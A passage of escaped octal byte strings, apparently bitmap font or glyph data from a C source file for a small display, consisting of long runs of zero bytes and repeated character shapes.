\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\373\\373\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\177\\177\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340`||\\300\\340\\340\\0\\0\\0\\0\\0\\0\\0\\37\\77p`\\340\\340`q\\61\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\70\\30\\30\\30\\70\\60\\0\"\n  \"\\0\\0\\0\\0\\0\\14\\214\\317\\377|\\14\\14\\14\\0\\0\\200\\200\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\1\\0\\0\\0\\0\\0`\\340\\300\\300\\300\\300\\300\\300\\340`\\0\\0\\0\\0\\0\\0\\337\\377q````q\\377\\337\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\70\\370\\370\\230\\0\\0\\230\\370\\370\\70\"\n  \"\\30\\0\\0\\0\\0\\0\\0()/\\376\\376/)(\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\363\\363\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\370\\334\\214\\214\\14\\14<<\"\n  \"\\0\\0\\0\\0\\0\\7\\17\\14\\34\\31\\71\\63s\\347\\346~<\\0\\0\\0\\0\\0\\17\\17\\14\\14\\14\\14\\16\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\70\\0\\0\\0\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\60\\260\\330\\330\\330\\330\\260\\60\\340\"\n  \"\\300\\0\\0\\0\\17\\77p\\317\\337\\271\\260\\260\\271\\331\\300p\\77\\17\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\320XHH\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\63\\67\\64\\64\\66\\63\\67\\66\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\20\\70|\\356\\307\\203\\21\\70|\\356\\307\\203\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\77\"\n  \"\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\340\\60\\360\\330\\330\\330\\330\\260\\60\\340\\300\\0\\0\\0\\17\\77p\\300\\377\\277\\204\\214\\277\\363\\300p\"\n  \"\\77\\17\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\30\\30\\30\\30\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0p\\370\\214\\4\\4\\214\\370p\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\77\\77\\3\\3\\3\\3\\3\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\30\\34\\204\\304d<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\7\\5\\4\\4\\6\\6\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\34DDd\\374\\230\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\4\\4\\4\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0 \\60\\70\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\200\\200\\200\\200\"\n  \"\\0\\0\\0\\0\\1\\1\\377\\377\\200\\0\\0\\0\\1\\201\\377\\377\\0\\0\\0\\0\\0\\0\\177\\177\\3\\3\\3\\3\\3\\1\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\360\\370\\370\\14\\14\\374\\374\\14\\374\\374\\14\\14\\0\\0\\0\\0\\1\\3\\3\\6\\6\\377\\377\\0\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\17\\17\\0\\17\\17\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0 hn~\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\10\\374\\374\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\\7\\7\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\360\\30\\30\\30\\30\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\61\\63\\66\\66\\66\\66\\63\\61\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\203\\307\\356|\\70\\21\\203\\307\\356|\\70\\20\\0\\0\\0\\1\\1\\1\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\10\\10\\10\\374\\374\\0\\0\\0\\0\\0\\0\\200\\300`\\60\\30\\4\\4\\4\\207\\307d\\64\\34\\314\\246\\223\\211\"\n  \"\\374\\376\\200\\0\\0\\0\\3\\1\\0\\0\\0\\0\\0\\0\\0\\2\\3\\3\\2\\0\\10\\10\\10\\374\\374\\0\\0\\0\\0\\0\\0\\200\"\n  \"\\300`\\60\\30\\4\\4\\4\\207\\307d\\64\\34\\14\\6\\217\\307b\\62\\36\\14\\0\\0\\3\\1\\0\\0\\0\\0\\0\\3\\3\\2\"\n  \"\\2\\2\\3\\3\\30\\34DDd\\374\\230\\0\\0\\0\\200\\300`\\60\\30\\0\\3\\7\\204\\304d\\67\\33\\314\\246\\223\\211\\374\"\n  \"\\376\\200\\0\\0\\0\\3\\1\\0\\0\\0\\0\\0\\0\\0\\2\\3\\3\\2\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\300`{;\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\37\\70\\60\\60\\60\\60>\\36\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\30\\30\\231\\373{z\\340\\200\\0\\0\\0\\0\\0\\0\\0\\300\\360~\\77\\63\\60\\60\\63\\77~\\360\"\n  \"\\300\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\30\\30\\230\\372{{\\341\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360~\\77\\63\\60\\60\\63\\77~\\360\\300\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\2\\33\\33\\231\\370xy\\343\\203\\2\\0\\0\\0\\0\\0\\0\\300\\360~\\77\\63\\60\\60\\63\\77~\\360\"\n  \"\\300\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\32\\33\\231\\371{{\\343\\201\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360~\\77\\63\\60\\60\\63\\77~\\360\\300\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\30\\33\\233\\370xx\\343\\203\\0\\0\\0\\0\\0\\0\\0\\300\\360~\\77\\63\\60\\60\\63\\77~\\360\"\n  \"\\300\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\30\\30\\233\\376|~\\343\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360~\\77\\63\\60\\60\\63\\77~\\360\\300\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\0\\0\\30\\330\\370\\370\\370\\30\\30\\30\\30xx\\0\\0\\300\\360<\\37\\31\\30\\377\\377\\6\\6\\17\"\n  \"\\17\\300\\300\\0\\3\\3\\3\\3\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\200\\340\\360\\60\\30\\30\\30\\30\\30\\60\\370\"\n  \"\\370\\0\\0\\0\\0\\77\\377\\340\\200\\0\\0\\0\\0\\0\\0\\200\\300\\0\\0\\0\\0\\0\\0\\1!ko\\177;\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\30\\30\\370\\370\\31\\33\\33\\232\\230\\30\\370\\370\\0\\0\\0\\0\\0\\0\\377\\377\\6\\6\\6\\37\\37\\0\\0\"\n  \"\\340\\340\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\30\\30\\370\\370\\30\\32\\33\\233\\231\\30\\370\"\n  \"\\370\\0\\0\\0\\0\\0\\0\\377\\377\\6\\6\\6\\37\\37\\0\\0\\340\\340\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\30\\30\\372\\373\\33\\31\\30\\230\\231\\33\\373\\372\\0\\0\\0\\0\\0\\0\\377\\377\\6\\6\\6\\37\\37\\0\\0\"\n  \"\\340\\340\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\30\\30\\370\\373\\33\\30\\30\\230\\233\\33\\370\"\n  \"\\370\\0\\0\\0\\0\\0\\0\\377\\377\\6\\6\\6\\37\\37\\0\\0\\340\\340\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\30\\30\\30\\31\\373\\373\\32\\30\\30\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\30\\30\\30\\32\\373\\373\\31\\30\\30\\30\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\32\\33\\33\\31\\370\\370\\31\\33\\33\\32\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\30\\30\\33\\33\\370\\370\\33\\33\\30\\30\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\30\\30\\370\\370\\30\\30\\30\\30\\30\\30\\60\\360\\340\\200\\0\\0\\6\\6\\377\\377\\6\\6\\6\\0\\0\\0\\200\\300\"\n  \"\\377\\77\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\1\\0\\0\\0\\0\\0\\30\\370\\372{\\341\\201\\3\\3\\33\\31\\370\"\n  \"\\370\\30\\0\\0\\0\\0\\377\\377\\0\\1\\7\\36x\\340\\200\\377\\377\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\0\\0\\1\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\200\\340\\360\\60\\30\\31\\33\\33\\32\\60\\360\\340\\200\\0\\0\\0\\77\\377\\340\\200\\0\\0\\0\\0\\0\\200\\340\"\n  \"\\377\\77\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\200\\340\\360\\60\\30\\32\\33\\33\\31\\60\\360\"\n  \"\\340\\200\\0\\0\\0\\77\\377\\340\\200\\0\\0\\0\\0\\0\\200\\340\\377\\77\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\200\\340\\362\\63\\33\\31\\30\\30\\31\\63\\363\\342\\200\\0\\0\\0\\77\\377\\340\\200\\0\\0\\0\\0\\0\\200\\340\"\n  \"\\377\\77\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\200\\340\\362\\63\\31\\31\\33\\33\\33\\61\\360\"\n  \"\\340\\200\\0\\0\\0\\77\\377\\340\\200\\0\\0\\0\\0\\0\\200\\340\\377\\77\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\200\\340\\360\\63\\33\\30\\30\\30\\33\\63\\360\\340\\200\\0\\0\\0\\77\\377\\340\\200\\0\\0\\0\\0\\0\\200\\340\"\n  \"\\377\\77\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0@\\340\\300\\200\\0\\0\\0\\0\\200\\300\\340\"\n  \"@\\0\\0\\0\\0\\200\\300\\341s\\77\\36\\36\\77s\\341\\300\\200\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\0\\0\\0\\0\\0\\200\\340\\360\\60\\30\\30\\30\\230\\330x\\374\\346\\202\\0\\0\\0\\77\\377\\340\\300p\\34\\6\\3\\0\\200\\340\"\n  \"\\377\\77\\0\\0\\0\\4\\6\\3\\1\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\30\\370\\370\\30\\31\\3\\3\\2\\30\\30\\370\"\n  \"\\370\\30\\0\\0\\0\\0\\177\\377\\200\\0\\0\\0\\0\\0\\200\\377\\177\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\30\\370\\370\\30\\30\\2\\3\\3\\31\\30\\370\\370\\30\\0\\0\\0\\0\\177\\377\\200\\0\\0\\0\\0\\0\\200\\377\"\n  \"\\177\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\3\\1\\0\\0\\0\\0\\0\\30\\370\\372\\33\\33\\1\\0\\0\\31\\33\\373\"\n  \"\\372\\30\\0\\0\\0\\0\\177\\377\\200\\0\\0\\0\\0\\0\\200\\377\\177\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\30\\370\\370\\33\\33\\0\\0\\0\\33\\33\\370\\370\\30\\0\\0\\0\\0\\177\\377\\200\\0\\0\\0\\0\\0\\200\\377\"\n  \"\\177\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\3\\1\\0\\0\\0\\0\\30\\70x\\370\\330\\32\\3\\3\\31\\330\\370x\"\n  \"\\70\\30\\0\\0\\0\\0\\0\\0\\3\\7\\376\\376\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\30\\30\\370\\370\\330\\330\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\377\\377``````\\61\"\n  \"\\77\\37\\0\\0\\0\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\34\\14\\14\\234\\370\\360\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\0\\3\\203\\203\\7\\216\\374\\370\\0\\0\\0\\0\\3\\3\\3\\3\\3\\0\\1\\3\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\4\\214\\234\\270\\260\\240\\200\\0\\0\\0\\0\\0\\0\\0\\0\\340\\363\\63\\31\\31\\31\\31\\233\\377\\376\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\200\\200\\240\\260\\270\\234\\14\\4\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\363\\63\\31\\31\\31\\31\\233\\377\\376\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0 \\260\\270\\234\\214\\234\\270\\60 \\0\\0\\0\\0\\0\\0\\340\\363\\63\\31\\31\\31\\31\\233\\377\\376\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\3\\3\\3\\3\\0\\0\\0\\0\\0 \\260\\230\\230\\270\\260\\260\\30\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\363\\63\\31\\31\\31\\31\\233\\377\\376\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\270\\270\\200\\200\\200\\270\\70\\0\\0\\0\\0\\0\\0\\0\\340\\363\\63\\31\\31\\31\\31\\233\\377\\376\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\200\\270\\354\\304\\354\\270\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340\\363\\63\\31\\31\\31\\31\\233\\377\\376\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\3\\3\\3\\1\\3\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\200\\200\\200\\200\\0\\0\\200\\200\\200\\200\\0\\0\\0\\0\\340\\363\\63\\31\\31\\233\\377\\377\\263\\61\\61\\63\"\n  \"\\277\\276\\0\\0\\1\\3\\3\\3\\3\\3\\1\\1\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\0\\200\\200\"\n  \"\\0\\0\\0\\0\\0|\\377\\307\\203\\1\\1\\1\\1\\3\\217\\217\\0\\0\\0\\0\\0\\0\\1\\1#ko\\177;\\3\\3\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\4\\214\\234\\270\\260\\240\\200\\0\\0\\0\\0\\0\\0\\0|\\377\\367\\263\\61\\61\\61\\61\\63\\267\\277\"\n  \"\\274\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\200\\240\\260\\270\\234\\214\\4\\0\"\n  \"\\0\\0\\0\\0\\0|\\377\\367\\263\\61\\61\\61\\61\\63\\267\\277\\274\\0\\0\\0\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\3\\1\"\n  